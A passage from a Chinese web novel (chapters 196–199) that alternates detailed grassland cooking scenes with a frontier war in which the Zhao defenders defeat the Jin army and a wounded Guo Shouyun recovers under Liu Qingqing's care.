乌兰包着罐子给刘青青看,一面解释:“上头的我们叫做奶嚼子,熬出来的酥油是最香的。” 她手脚麻利的把上面一层析出的奶嚼子舀出来,放到热锅里,不停地翻搅,毡包充满了奶焦味香,刘青青盯着锅里看,白色的凝乳慢慢变黄,直到变黑,落在了锅底,泡在析出的清亮黄油里。 乌兰用块布巾过滤掉奶渣子,只剩下坛底清亮香浓的酥黄油。 锅不用洗,就着剩下的酥黄油,加入一点肥瘦相间的后腿肉片爆炒,加入洗干净的野葱,野蒜野姜爆香,再把泡发好的豆角,土豆加入,煸炒至表面微焦,然后加入冷水,大火煮沸,直到汁水收到恰恰能淹没土豆豆角,加入盐巴调味,再把揉制好的面团切成面条,平铺在菜上,盖上锅盖焖煮,直到汁水煮干。 浓郁的面香就从锅盖的缝隙里钻了出来,挠得人胃痒痒。 此时天已经黑了,外面又呜呜的刮起风来,毡包里面却蒸汽腾腾,弥漫着美食的味道。乌兰请刘青青上座,将第一块肉递给刘青青:“大人,这是我们草原百姓的手把肉,您尝尝!” 刘青青回笑:“乌兰姆妈,辛苦您了,您也请!” 几人相视一笑,没有小刀,一起握着大大的手扒肉直接啃食。一入口,刘青青便呆住了,羊肉清炖也能这样美味,原汁原味。草饲的羊肉肉质鲜美,没有膻味,口感柔嫩,香气扑鼻,油脂适中,一嘴下去,汁水横流,让人忍不住一口接一口的吃。 吃完一块手把羊肉,再尝一尝焖面,黄色的土豆入口沙软,草绿的豆角揉烂,带着春天的气息,把羊肉的油腻综合了去,再尝一口吸满酱汁的焖面,入口软糯有弹劲,充满了豆角的清香,油晶晶弹韧韧,好吃至极。 最后,再来一杯发酵好的原味酸奶,带着微微的酸味,入口绵秘滑润,是最好的餐后甜点,清爽解腻。 小塔娜也吃得眉开眼笑,嘴里塞得满满的焖面,两只鼓鼓的小脸颊,洋溢着欢快满足。 嚯,还有棉花黑炭们呢。 狗狗不可以吃盐,乌兰早在手把肉加盐前,就盛出来给他们啃着啦。 因为身高太大不能进屋的马儿和母羊也加了多多的草根,满足的不停喷响鼻。 吃完晚饭,刘青青看着小床上的郭守云,惆怅起来,依照喂肉粥的方法,给他喂酸奶。 哎,这样睡着只能吃流食,不晓得什么时候才能下地? 第196章 第196章聒噪 在棉花的帮助下,郭守云从金人营帐中走脱,担心被金人追击,他示意棉花赶着枣红马驮着他往草原深处走去。 饿了渴了便喝一口生羊奶,没有遮风避雪的地方,腿也肿-胀得不能落地,已经疼得没了知觉,这样熬了三日,他栽倒在马背上。 梦中是无尽的寒冷,冻得人好似成了冰雕,后来,有人牵了他的马,抱走了他怀里暖和的小羊,他想反抗,却抬不起手,睁不开眼,只能被锁在躯壳里焦急上火,左冲右撞。 有人重新掰断了他的断腿,又紧紧的束缚起来,他看得龇牙咧嘴,却没有疼,只感觉越来越虚弱,静静地看着一切。 刺骨的寒冷没了,炉子的火光驱散了冰冷,带来了温暖,冷热交替之下,他的身体好像失了控,燃起了一把火,要把所有的疼痛烧成灰烬,他被折磨得精疲力尽,感觉好累好累,悄悄的闭上了眼。 在他快要永久睡着之际,一股苦涩的暖流顺着嘴唇流入食道,途径千千万万个毛细血管,浇活了那些几乎要干涸的细胞,也让他恢复了些许生气,从沉睡之中舒醒一点点。 嘴唇上触感软软的,一股熟悉的果香从鼻尖钻了进来,已经混沌的脑子清醒了一下,回忆着这似曾相识的味道。 这个味道很舒服,很温馨,有了它便有了家。 他试着动了动舌头,去追寻那丝生机,却吓走了那片刻柔软的生机。 不一会,嘴巴里有了味道,蛋白质和淀粉脂肪无机盐以最完美的比例交融在一起,搭配出最美的味道,他不自觉咽下了肚,去唤醒停罢的肠胃,他努力想让肠胃运作起来,可是肠胃休息了太久,已经睡着了。 正当他着急的时候,感觉身体被搬动,他麻木的腿恢复了木木的疼,过了一会,又变成覆上草药的冰凉凉,头也被掰过来,转过去,手臂被温热的水包围着,哦,他好似恢复了知觉了呢。 一双柔软又有力的手按在他肚腹上,缓慢坚定的按动,终唤醒了沉睡的肠胃,力量从食物中汲取,送到一个个饿极了的细胞处,还有声音在他耳边碎碎念叨抱怨:“哎,阿云,你看看,我给你挑木刺,手也被针扎到了,好疼!” “哼,等你好了,就罚你带着这个大项圈,跪趴在我面前,把我针扎的伤口巴扎好,不然甩你鞭子!” “啧,这大项圈还挺重,我都不怎么拿得动,脖子都快坠断了吧,我给你揉揉!” “这个酸奶很纯正,你尝尝呗!哦,你不吭声就是答应咯,我喂你!” “呀,乌兰姆妈做的手把肉太好吃了,你闻一闻,一点膻味都没有,又嫩又香,等山河平稳了,我们弄点去青华园卖呗!” “啧,原来草原的奶自然放一晚不会坏哦,会分层,上头淡黄色的就是奶嚼子,还可以熬煮出黄油,下头的是酸奶,好奇怪,为什么南安府的水牛奶就不行呢?真是一方水土养育一方牛哦。” “乌兰姆妈家毡包有点小,我们挤挤一凑合一晚吧,放心,我不会撞到你的伤腿伤的!” “嗨,又一天过去了,早啊!” “你怎么还不醒呢,都说昏睡的人要手工排便的,你要是还不醒,我帮你哦?” 他感觉被子被掀了起来,下半身立马感受到了一股凉意,郭守云积攒的全部力量,冲到了眼皮上,终于睁开了眼,吐出了多日来第一个声音:“不,不用,我自己来!” 那样难堪不体面的样子,怎么能让她看见。 刘青青惊喜的帮他盖好被子,扑到他面前,无比欣慰:“阿云,你终于醒了,吓死我了!” 乌兰也凑近看了看,由衷的感叹:“后生好样的,我寻到你 的时候,你已经冻僵了,这么快就醒来,是老天的保佑啊!” 醒来的郭守云脸色憋得通红,支支吾吾对着刘青青道:“阿青,我,我想方便一下,你可以扶我出去么” 他的腿不能动,没拐杖,实在憋不住了。 刘青青尴尬了一下,轻微嗯了一声,扶着他起床,披上了厚厚的棉衣,到外面寻了个避风的角落,受惊兔子般跳回毡包,站在门口捂着烧得通红的脸。 乌兰语重心长:“阿青别吉,我救过很多冻伤的后生,他算是严重的,还受了腿伤,但是,他是醒得最快的,之前昏迷的时候,他嘴里挣扎着喊阿青,我想,阿青一定是对他很重要的人,让他牵挂放不下。” 相处两日,她觉得阿青别吉人品贵重大气,也不喊大人了,把她当成了自己的晚辈,希望她能得到世间一切的美好。 循循絮叨:“自从他醒来,眼睛便一直粘在你的身上,莫要辜负了这个满心都是你的人!” 眼前这对男女,让她看到了他的小儿子和儿媳,也是这样的,青梅竹马两小无猜,但命运多舛,小儿子生死不知,儿媳漂泊零落,只剩下塔娜是她唯一的慰藉。 刘青青嗯了一声,阿云从未向她说吐露过这些,她也不知道啊,转过话题询问:“乌兰姆妈,我们今早吃些什么?” 乌兰满是沟壑的脸上,露出满足的笑意:“托别吉的福,我今早做羊肉烧麦!” 她舀出一碗面粉倒在盆里,加了半瓢底子沸水,用筷子搅拌成面絮,然后又加半瓢底冷水,洗干净手开始揉,嘴里解释:“孩子他爹,性格暴躁,人有些本事,以前天时好的时候,经常弄些野兔山鹰,或者硝制皮子,到边城里换些盐巴面粉茶砖白米,我也跟着去过几次,学来了小窍门。” “这样分两次加热水冷水,面团揉好后弹韧有嚼劲,擀成很薄很薄的面皮,也不会破。” 确实,乌兰揉面很有美感,一下一下的捶打拉扯,乱糟糟粘连的面絮在她的手上变得听话老实,最后成了滑溜溜一团,盆里,或者她手上都没有一点白色的面皮。 她把面团放回干净的盆里,盖上锅盖醒发,开始调制肉馅。 依旧是羊肉,选的是羊里脊,菜刀剁得碎碎的,加入花椒面,干姜粉,盐巴,分多次加入清水成黏糊状,滴几滴麻油锁住水分,在拌入切得细细的沙葱。 充满水分的肉馅做好后放在毡外冷藏一小会儿。 面粉经过醒发,更劲道了些,揉成长条,切小成一个个大小均匀的剂子,擀成大小一向的薄圆片,十个一起撒上面粉防止粘连,再继续擀薄,直到每一层薄如纸片。 揭下一层面皮,手掌自然合拢,舀入一大勺调制好的肉馅,稍微握紧手掌,不用完全合封口,边皮弄成荷叶边一样的褶皱,放在蒸笼里,乌兰姆妈喊塔娜刘青青一起包,不一会,便包好满满一蒸笼的烧麦,锅里水已经沸腾,架上蒸笼,只用蒸半盏茶的时间便好了。 乌兰已经为四人准备了咸奶茶,除了昨日的奶茶,还有几碟子配料,分别是奶酪,奶皮子,果条,奶条和炒米。 母羊顿顿吃得饱饱的,羊乳充足,乌兰便做了奶酪,奶皮子,用昨日的酥油炸了果条,和奶条。 揭开蒸笼,烧麦皮由于原来的白色,变成了玉色,顶上四周的面皮像荷叶一样伸肆意伸展着,像一只只盛开的雪莲花。 夹一只烧麦放在碗里,淋一点点白醋,羊肉的鲜甜瞬间被激发出来,入口柔软有嚼劲,嫩香鲜甜,汁肥水美,好似把蓝色的天,带草的风网到了嘴里。 吃完一只又一只,转瞬间,三蒸笼的烧麦就全部被吃完了,再悠悠的端起咸味的奶茶,按照自己的喜好放一些果条,奶皮子,咸香的奶茶瞬间综合了羊肉的油腻,留下满口的丝滑奶香。 塔娜意犹未尽舔了舔嘴角的奶茶,打了个嗝,拍拍自己的小肚子,洋溢着满足:“姆妈,明天还能吃这个肉花花吗?” 乌兰嘴角扬起来一点,解释:“塔娜,这不叫肉花花,这叫烧卖!” 在她充满岁月的嗓音里,刘青青听到了那段和平融洽的日子:“之前啊,草原金人和赵人都喜欢去边城里换东西,你还不会走路的时候,我也带着你去过,还给你买了酸酸甜甜的糖葫芦。 我们喜欢赵人的茶砖,布料,盐巴,他们喜欢我们的皮子奶酪羊肉,每到边城集日,大家乘兴而去,满载而归,大家伙都能换到自己满意的东西。 早些年边城里的茶水铺子里,只卖烫面的面皮,我们离得远,到边城换好物件,就是下午了,饿得前胸贴后背。找茶店买了面皮,裹上自带的羊肉交给店家,他们会帮我们蒸熟,还送些酱醋什么的给我们蘸着吃,坐在温暖的屋子里,吃得饱饱的,再带着换来的茶叶布料欢欢喜喜的回草原。 那些茶店本来只卖面皮,总有些忘记有带羊肉的人,找他们买羊肉,茶店便从我们这里定羊肉,他们捎带着卖羊肉,后来他们干脆提前做好蒸熟,我们交上几枚铜钱,就可以吃了,所以就把肉花花叫烧卖。” “主要是卖花儿一样的面皮,羊肉馅儿才是捎带着卖的。” “所以,下次去边城吃烧卖,你要点一两烧卖,指的是用了一两面皮,莫要点错了哦。” 说完,她的声音暗淡了下来,不晓得是什么时候,赵人就不愿意和他们换茶砖布匹了,也不晓得是什么时候,金人也不愿意去边城了。 她幽幽的叹了口气,看了一眼外面阴沉沉的天,这样昏暗的日子,什么时候才能结束。 第197章 第197章安排 郭志城和郭荣长驱直入到了大营,里头八个副将泾渭分明的两派,正吵得不可开交。一边是嫡系,严格执行闭门守护之策,另一面亲文派,要求开门主动出击,扬大国之威。 看到郭志城回来,面上闪过欢喜,没看见后面跟着郭守云,对视一线,小心翼翼询问:“将军回来了,这一行可顺利!” “将军快喝杯热茶暖暖身子!” 郭守云大马金刀坐在上首主位,腰间跨刀随手丢在桌案上,哐当一声,吵闹的屋子瞬间安静了下来,大家眼观鼻轻悄悄站好。 郭志城冷哼一声:“你们能耐的,我才出去了两三日,还没死呢,便把边城弄得乌烟瘴气,混乱不堪,再这样下去,不等金人来打,边城自己就破了!” 站在他后面的郭荣痛骂:“混账郭平,让你辅佐张文副将,你如何桀骜不驯,还不快向张副将等人陪个不是?” 郭平,郭定,郭山,郭河四名副将 对视一眼,心中委屈不已,他们严格执行将军的命令,怎么还有错了? 迷茫了看了郭荣一眼,见他使劲挤挤眼睛,暗觉这小子又暼着后招,也不委屈了,及时低头,对着对面四名副将低头拱手致歉:“是我们狭隘谨慎了,张副将千万莫同我们一般见识!” 这几人适才和他们吵得唾沫横飞,撩起袖子就要动手了,突然低头赔不是,四人一时发蒙,愣了一会,连忙拱手回礼:“郭副将言重了,大家都是为了平定边城之乱,各有策略,哪来的狭隘,是我们操之过急了!” “你们说得对,金人力气暴虐,我们是要谨慎小心!” …… 两伙人也不吵了,找着对方的优点夸,屋子里和谐异常。 上首的郭志城咳嗽了一声,说起正事:“你们不是盼着与金人一绝胜负么,金人三个时辰后便全军攻城,我们借着这个机会,将金人一举拿下,叫他们有来无回。” 人心隔肚皮,张文等四人领人打仗的本事是有的,只是和朝廷里文人牵扯太过,大面上不出问题便是。 他们四人的存在,利大于弊,很多时候,能从朝里要来许多需要的东西,后勤,粮草,荣誉,甚至皇帝的信任。 郭志城领着人来到沙盘前,安排策略:“郭平等四人,你们分列四门城墙上,带着后勤士兵,发动边城里能动的百姓,在墙头抵挡金人的攻击,滚石、砖头、金汁都早早准备起来,张副将等人,执兵静候城门处,金人半途力竭时,立马领着甲乙丙丁四队士兵,冲出城门,势必一举将金人就地斩杀。” “郭荣领着暗队,带着干粮现在悄悄出城,藏身起来,等金人发动进攻后,你带人摸到卡西卡里的王帐,势必把两人格杀。” 郭志城面容肃穆:“各位副官,今日一战,最为关键,胜了,以后数十年,边城平定安宁,我们也可以回家养老,朝看神京花,暮赏昆仑曲,所以,此战必胜!” 郭荣戚眉:“将军,我们都走了,你可成孤家寡人了,不妥!” 郭志城哂笑:“你是不是昏了头,我身边跟着传令兵的,再说,我坐镇边城中心,居中协调,能有什么危险,但凡金贼奸细敢摸来,管叫他有来无回。” 副将们都领命去准备,只剩下郭荣一人不放心,期期艾艾磨磨蹭蹭不肯离去,说要分一半的暗队在县衙护佑郭志城。 他没敢说,万一边城失陷,传令兵顶什么事,脱身伪装这事暗队才擅长。这话他不敢吐出来,说出来那是咒赵人战败,郭志城能立马翻脸,把他捶趴下。 郭志城等人走完了,深深看了他一眼:“阿荣,你我不是父子,情胜父子,这个给你!”他虔诚掏出从不离身的油纸包。 “你亲眼看过它的威力,此物定让你成功斩金人首脑,平安归来!” 郭荣晓得郭志城说一不二的脾气,捧着油纸包鼻子有些堵:“将军,你把此物给我了,你身边再也没有能防身的了!” 郭志城笑他痴:“奸细已被你们拔除,我在边城里躲着,身边都是我大赵百姓,要防身作甚!” 郭荣欲言又止,若是金人攻进来了呢,将军可怎么办呢? 郭志城手轻轻拂过坐了一辈子的大交椅,说出了他心底最怕的担忧:“痴儿,城若破了,我如何还有脸面存活与世,是与边城共存亡的。” 他转过身,定定的看着郭荣:“阿荣,你还年轻,还没和女娃拉过手,还没养过孩儿,还没被淘气的孩子捉弄过,还有大把美好的人生要经历。 若城,不幸陷落,你便远远走了吧,嗯,就去我们曾去过的南安府,那里山清水秀,天高地远,水娘是在那里不在的,你替我找到她的坟茔,把我也葬了去,帮我守一辈子的坟,莫要让别的东西来扰了我的亲近。” 郭荣紧紧咬着牙关,他知道,将军决定了的事,是不会再改变的,重重跪在地上磕了个头,感谢郭志城对他的养育之恩,转头走了。 他捏着怀里的油纸包,暗暗发誓,一定要将卡里卡西就地暗杀。 边城在郭志城的调节下,紧锣密鼓的转动起来,以最充分的准备,正面迎接最后一战。 & 金人营帐里,卡西面沉如水,他冷冷瞪了一眼身边的佟参议,质问:“自从采了你的建议,我们营帐就一直不顺利,先是为了活捉那个什么刘青青,牺牲了我三十英勇武士,好不容易抓来郭志城的儿子,人好好的关在羊圈里,你竟让他脱了,现在攻城之即,我三分之一的男儿竟然开始上吐下泻,神情恍惚!” 他恨恨揪起佟新灶的领子,眼睛瞪得能喷火:“你莫不是赵人的奸细!” 佟参议冷汗雨下,连连叫屈讨饶:“王子阿,我真冤枉,三十名武士不是白白牺牲的,我们带回来了郭志城的儿子,比那个郭青青更有价值,我亲用大铁链将他锁在羊圈,钥匙挂在脖间,怕被偷了去,也不晓得他如何走脱的,我知道了,定然是二王子那边,悄悄把人弄了过去,不然,你想想,他断了腿,身无长物,如何能不惊动人,从层层围绕的羊圈中走掉啊!” 说完他从脖子上掏出一把铁钥匙晃了晃,委屈得眼睛都红了,泡在泪水中。 卡西嫌弃的甩开他:“咦,少恶心人,老子再信你一次,莫要做妇人姿态!” 佟参议揉了揉酸涩的脖颈,差点就被掐死了,连忙深深吸了几口气,眼底闪过一丝阴狠,低头禀告:“王子,郭守云走脱之事,没人知晓,祭旗的时候,我们随便弄个人穿上华贵的衣袍,把他头发打乱,就说他是郭守云,也能扰乱赵人军心!” “下头士兵上吐下泻,神情恍惚,二王子那边也有士兵有相同的症状,这是老天对他们的惩罚,这些人在营帐里散播谣言,说攻打边城有伤两族情谊,老天会降下雷罚什么的,一直在动摇军心。” “他们这些蠢人也不想想,大王子您为了部族殚精竭力,还不是为了让他们填饱肚子,情谊不情谊的,能当羊肉吃么?” 佟参议欺上瞒下,其实这些拉肚子的都是最底层的士兵,最后一餐分发的粮食是带回来的土豆,有点身份的小头脑,发的食物都是羊肉。 吃了土豆的士兵,都有不同层度的腹泻呕吐,恍惚发癫症状,他估摸着是中毒了,这么多的土豆,不晓得郭守云那厮是怎么舍得全部投毒的,而且如何投的,他也没想明白。 眼前先把这事糊弄过去。 卡西也没了办法,带着部族出来这么长时间,一点东西也没带回去,没法交代的,没有不打就退的道理。 佟参议估摸着他听进去了,连忙献策:“干脆让他们做先锋,正好发狂力气大,消耗赵人主力,能为部族献上最后一点力量,他们也是愿意的!” 卡西幽幽看了佟新灶一眼,眼皮合起一半:“行,你先去和卡里通个气,然后去安排!” 佟新灶得了吩咐,急巴巴领着令牌出去了。 等他走后半响,卡西招了招手示意身后最后一个亲卫近前:“跟上去,等他部署好,把他绑了祭旗,然后即刻护送几个夫人回草原,就回北边部族那,等我这边打完了,我会来寻你们。” 低头的亲卫西胜抬头看了大王子一眼,见他面目隐在跳跃的烛光里,隐隐绰绰看不清,心下一沉,复低头诺了一声,退了出去。 咚咚咚,嚣天的战鼓响了起来,金人携着冲天的杀气步步紧逼,停在了边城前五百米处,郭志城也爬上了城楼顶,和远处的旌旗飘荡的金人遥遥相望。 金人跑出一骑,立与马上靠近城墙将人举了起来,被举之人看不清面目,看衣着竟然是郭守云被抓走时的打扮。 那人高声大喊:“此人是你能将军之子郭守云,快快打开城门受降,如若不然,便用他祭旗!” 城墙上之人面面相觑,窃窃 私语,把目光投向远处的郭志城。 郭志城紧紧盯着被举着的人,心肝脾肺肾都开始痛起来,难道那个孩儿没有走脱,被他们重重关押起来。 含着泪默念:“对不起了,孩子,等此间事了,我来陪你和你娘!” 他紧紧捏着手柄,举了起来,暴喝出声:“我何来儿子,无耻金人,竟敢动摇我军心,来呀,放箭!” 第198章 第198章烤全羊 佟新灶忙完大王子交代的事务,将头昏眼花精神恍惚的士兵,调到了第一线冲锋队,美名其曰发挥士兵们力大无穷的特点。 有那只是上吐下泄的士兵,脑子清醒的,悲哀的同同伴感叹:“上头是不把我们的命当命啊,他们虽然力大无穷,但敌我不分,如何对敌。你我腿酸手软,骑马都费劲,哪里举得动刀剑!” 不少人聚在一起抱怨,一时有些混乱。 佟新灶摸回自己的毡包,收拾这些年积攒的细软藏在身上,弄了些干粮,借着营帐里的闹腾悄悄离开,打算寻个旮旯里藏起来,等大战过后再现身。 才闪身出了营帐,后头便有大王子身边的亲卫西胜喊他:“佟参议,让我好找,大王子有事请你过去!” 佟新灶愣了一下,转过身,视线落在西胜脸上细细打量,这人如平时那般,面上僵硬得像块石头。 佟新灶凑近了些,从袖子里掏出一块银子塞到西胜手里,试探道:“大王子,有什么吩咐?” 西胜接过银子,扫一眼他的袖子,压低声音道:“好似关于几位夫人的,你块过去,莫要让王子久等了!” 佟新灶得了准信,心下松了口气,估计大王子担心几位夫人的安危,让他护佑左右。谢了一声,转身便走。 走不到三步,后脑勺重重挨了一下,顿时便昏了过去。 昏迷前,他骂娘:“狗金贼西胜,竟敢暗算小爷!” 等他再次醒来,他嘴里堵着西胜的裹脚布,手脚紧紧捆在一根原木上,被一个金人士兵高高的举起,如同糖葫芦那般,展示给所有人看。身前是边城高耸的城墙,身后是他亲自调动到一线的兵士们,他能听到身后杵着刀剑站立的士兵们蛐蛐讥讽:“大王子没骗我们,果然佟参议是第一先锋!” 佟新灶徒然的挣扎了一会,牛皮筋绑扎的手脚越发紧凑,没有腾挪的余地,他绝望的笑了,老天也没亏待他,让他穿着华贵的绸衣,在万众瞩目中迎接数不清的箭矢,死得也算声势浩大。 郭志城一声放,拉开了拼杀的序幕,金人后头长官高喊:一个赵人人头一只羊,一个百夫长人头十只羊,登上墙头打开城门千只羊,斩杀郭志成十万只羊,重金利益驱使下,金人士兵踏着擂鼓的节奏发起了冲锋,架着人梯,踩着肩膀,把同伴的尸体作为登上墙头,获得荣誉的踏脚石。 墙头上组织起有效的反击,金汤、滚石,边城如同一个破旧但精密的机器,摇摇晃晃运作起来。 墙头指挥的百夫长看着面前密密麻麻的金人,已经有金人从垛口中跳了进来,闪着寒光的长矛眼看就要扎在吓傻了的民夫身上,他三两步赶过去支援,使出全身的力气一刀挑开长矛,哪知长矛轻飘飘就被格开,他用力过猛,一个趔趄几乎没摔倒。 那名金人士兵也被回神的农夫复又推下城墙。 百夫长又惊又喜:“我们的策略出效果了,嘴里省下的口粮土豆,加了料后被金人吃啦!” 他左右奔走,激动的告诉大家这个消息:“金人已经中毒,变得体软无力,大家鼓起精神,把金人打趴下!” 一时间,赵人士气大胜,头次上墙对敌的民夫也敢壮着胆子用长木棍远远的去扎金人。一时间,金人先锋队像落水的饺子,掉下了墙头,唉嚎遍野,死伤无数。 眼看第一轮冲锋不利,金人战鼓变得更加密集,发起了第二轮冲锋。 这一次,墙头上的百夫长感觉,曾经力大无穷的金人士兵又回来了,眼看就要抵挡不住,边城城门突然大开,骑兵队发起有效冲锋,将正在攻城的金人士兵打了个对穿。 大王子卡西,二王子卡里恨恨的从王座上站了起来,面上冻若冰霜,阿西吧,赵人竟敢从乌龟壳里出来,倒打了一个措手不及。 两人眯着眼与墙头上的郭志成,隔着猎猎作响的旌旗遥遥相对。 郭志城轻蔑的朝着他们勾了勾手指头,在脖子上划拉了一下。 被挑衅的卡西卡里一愣,对视一眼,不由得讥笑起来,赵人真是笑话,赢了几个活不久的炮灰,还真以为自己厉害了。 两人示意骑兵举旗,发动总进攻,趁着城门大开,将边城一举拿下。 金人所有兵种如蝗虫过境般黑压压扑了过来,赵军其余方队也迎了上去,两边拼撞到一起,成了无情的绞肉机,战场上一时间胶僵起来。 卡里,卡西站起身,紧紧盯着战场,眼尖的他们发现,金人以体能优势,慢慢碾压赵人,战线渐渐靠着边城压下去,两人露出必得的把握,扬起下巴远远鄙视墙头上的郭志城。 就在这时,变故突发。 不晓得发生了什么,只听到砰砰两声雷暴声,高高站在王车上的卡西、卡里,胸口处炸开一个血洞,整个战车上肉末横飞,两人眼看是活不成了。 身边护卫抹一把脸上被喷溅的血点,惊骇的看着彼此,赵人竟发明了如此厉害的武器,吓得抱头鼠窜,王车附近瞬间成了一个真空地带,旗兵也唬得旗子一丢,缩到了王车下,黏腻的液体又从头顶滴落,他摸了一把,是两位王子的血肉,瞬间吓得昏了过去。 变故来得突然,边城墙头上却已经敲锣打鼓喊了起来:“卡里卡西已被射杀,金贼投降不杀!” 卡里卡西已被射杀,金贼缴械受降! 卡里卡西已被射杀,金贼缴械受降! 卡里卡西已被射杀,金贼缴械受降! 正在拼命的金人,扭头看向后方的高高的王车,王旗不见,只剩下两具血肉模糊的尸首!一瞬间没了主心骨,不晓得该何去何从,有迷茫间丢了冰刃举手不动的,被赵人卸了胳膊就地趴着,有咬着牙逃走的,有举着刀还要拼杀的,被赵军围困,剁成肉块。 看着战场上只剩下的赵军,还有趴在地上不动的金人,大家留下了泪,欢呼起来:“胜了,大赵胜了!” 战争结束了! 边城百姓抱头痛哭! 战争,终于,结束了! 郭志城视线扫过身边的一切,下方的战场,张文几个副将抱在一起手舞足蹈,眼睛里都是兴奋,破损了的墙头上,老妪抱着不会醒来的儿子,呜呜的哭,城内关闭了的商铺,已经有 人开始整理。 战争,带走了无数的生命和财富,留下了无尽的创伤和悲痛。 战争对所有人都是公平的,所有人都裹挟其中,身不由己,权贵投入精力筹谋,商人燃烧了金钱,百姓送出了儿子。又不是公平的。大家都经历了战争,一同齐心协力赢得了战争,最后,权贵们收获了更大的权势,商人得到了数倍回报的钱财,还有百姓,收获了儿子的墓碑。 是啊,他也收获了儿子的墓碑,是他亲口下的令。 犹如万蚁啃食着心,郭志城跳下城楼,一步一步走到那个被万箭齐发的身影处,抖着手,含着泪,跪着去抠已经被踏平的绸衣。 他紧紧抱着脏污不堪看不出本色的绸衣,哽咽着, 儿啊,爹带你回家,爹带你,回家……! 郭荣不晓得从哪里冒出来,满脸的兴奋围着他叽叽喳喳,一把将他手里的绸衣扯丢:“将军,你抱着个破烂作甚,哎,你还真信金人的话啊,这个不是守云的,这是佟新灶那走狗的,走走,快去看卡西,卡里!” “这东西太厉害了,只用瞄准轻轻一按,千部之外伤敌,卡西卡里胸口上碗大的洞,能看到对面去!” 郭志城眨了眨眼,指着被丢弃的绸衣:“你确定?” 郭荣扯着他往王车上跑,一面跑一面解释:“一万个确定,我躲着都看清了,这厮把吃了加料土豆中毒的金人弄到了第一先锋队,惹了金人士兵不满,差点炸营,卡西便把他绑了祭旗,平息金人士兵的愤怒。 我们得在张文他们过来前,把卡西卡里尸首处理好,不然被他们发现我们手里的东西,不晓得又要生出多少乱子!” 郭志城想到那匹坐骑的模样,也晓得厉害,命郭荣割下卡西卡里首级,到张文等人面前炫耀。 张文等人看到郭荣手里的战利品,眼红得能喷火,扭头便往去追那些逃窜的金人高官。 趁此空隙,郭志城和郭荣将两人尸身运走,寻了个偏僻的地界,挖了个坑深埋了事。 等他们回城,已经打扫完战场,此战消灭金人七万,俘虏三万,赵人牺牲三万,伤四万,可谓大获全胜。 边城里开始盛大的庆典。 金人营帐羊圈里剩余的羊儿变成了一盘盘烤全羊,死了的坐骑变成了大块卤马肉,摆在了边城土地庙周围。 人们沉默的站在土地庙前,追悼着逝世的英灵。 郭志城梳洗干净,捧着名册,一个个念出牺牲了的士兵的名字:“牛小二,周盛,黄大升……” 随着钟声的响起,郭志成将名册双手奉到了案上,所有人悲泣的跪下扣首。 然后起身,在庙祝的带领下,随着鼓声跳了起来,那是对逝世英灵的送别,也是对战争的发泄。 耗尽一身力气的人们,感觉满身戾气也随着汗水从身体里排出,好似获得了新生。 郭荣跳累了,回到座位上,从大木盆里的全羊身上,撕下一块冒着热气的羊腿肉,狠狠咬了一大嘴,瞬间,辛辣香浓的烤肉味道便席卷了全身。 第199章 第199章油脂滋滋作响 两军交战的时候,西胜寻了个土坡远远的看着,眼看金人已经占据优势,王旗突然倒下,他不敢置信的揉了揉眼睛,兵败如同雪崩一样,一发不可收拾,他当机立断,领着三位夫人骑马往北方草原深处奔驰,将身后的血色绞肉场狠狠抛下。 路上只敢用点干粮应付了事,就连一惯挑剔讲究的三夫人,晓得没了依靠,夹着尾巴做人,给什么吃什么,万事不敢抱怨。 一路吃风饮雪,终于到了卡卡部族的聚集地,西胜目瞪口呆看着只有孤零零一个破毡包的聚集地,从小在马背上长大的汉子,终于忍不住,身影晃荡了两下,几乎从马上掉下来。 报应不爽,卡卡部族聚集了周边部族的青壮,一起劫掠赵人,自家老巢却被一锅端了。 他又摇摇头,不会的,是他想太多了,兴许大家嫌弃这里的草根被羊儿们啃完,搬走了。 他连滚带爬到小木门前,一下一下扣着毡包的门。 早在他们露出行迹,棉花黑炭发出预警,刘青青扶着郭守云,带着塔娜,领着狗狗们躲在了远处雪堆里,搭射好袖箭,紧紧注视着毡包。 毡包内的乌兰颤抖着打开门,看见是西胜,大王子身边的武士,连忙看向他的身后,并没有小儿子的身影。 她又把希冀的目光投向西胜:“大人,我们西滋呢?”西滋是她仅剩的小儿子。 乌兰希冀的目光好似重若千斤的大石,狠狠压在他的舌头上,他嘴角嗫嚅了半响,才听到了自己的声音:“他已经为部族尽忠!”默了半响又道:“除了我们,剩下的人,全都……” 他抱着一丝热切,盯着乌兰:“乌兰阿婶,我爷娘呢,部族里其他人呢?他们是不是搬到其他避风处了?” 爷娘妻儿,肯定嫌弃这里不好,搬家了呢! 乍闻噩耗,乌兰面上爬上灰寂,几乎站立不稳,她悲喃:“你心里不是知道了么,还问我作甚!” “大家伙搬家,如何会撇下老婆子一人在这里!” 她状若疯癫讥讽:“你们去欺辱赵人,其他部族自然能欺辱你们,这真是报应啊!” 西胜眼里能喷火,他向前一步:“是谁?是哪个部?”连人带毡包抢走,是金人的习惯。 瘫坐在地上的乌兰哀嚎:“我带着孩子去捡马粪,回来家就没了,我如何知道是谁!” “老天呐,就剩我和塔娜一老一小,叫我们如何活啊!” 眼看问不出其他信息,他急于脱身,一来要去寻爷娘的踪迹,二来要护着几位夫人远避,免得被赵人捉了去,从腰囊里摸出一个包裹丢在地上:“我身负王命,还有要事,不能带着你们祖孙,这里有些细软,你去边城那边过活吧,你一个老婆子带着个小孩,他们不会为难与你们!” 自己从炉上的瓦罐里倒些热水,转身上马,带着几位夫人飞速离去。 等他走远了,刘青青扶着郭守云,几人才回到毡包。 乌兰擦干面上的泪,仿佛老了十岁,她浑身充满死气,挤出一个比哭还难看的笑来:“阿青别吉,赵人胜了,你们可以回去了。” 她打开西胜给的包裹,里头两个闪着黄光的十两金元宝,两枚十两银元宝,一些细碎银块,戒指四枚,一把长柄黑色钥匙。 她把包裹往刘青青面前送了送,一双眼充满了哀泣渴求:“阿青别吉,我知道卡卡一族罪孽深重,我愿意以死赎罪,可塔娜仅是个什么都不知道的孩子,请你们回去的时候,把她带到边城,随便找户人家收养吧!” 塔娜还小,听不懂他们说什么,感受到乌拉的死气,吓得呜呜哭了起来,紧紧抱着乌兰:“姆妈,你不要丢下我!” 刘青青叹了口气,把包裹推了回去:“两国较量,哪里是你我升斗小民可以左右的,过去的便过去吧,你莫要自责。这些财物你自己带着,亲自抚养塔娜长大,我会带着你和塔娜一起回去,你们想留在边城,仰或远离这里去南安府过活,都可以的!” 乌兰感激不已,抱着塔娜连连道谢。 一边坐着的郭守云急切喊道:“等一下!” 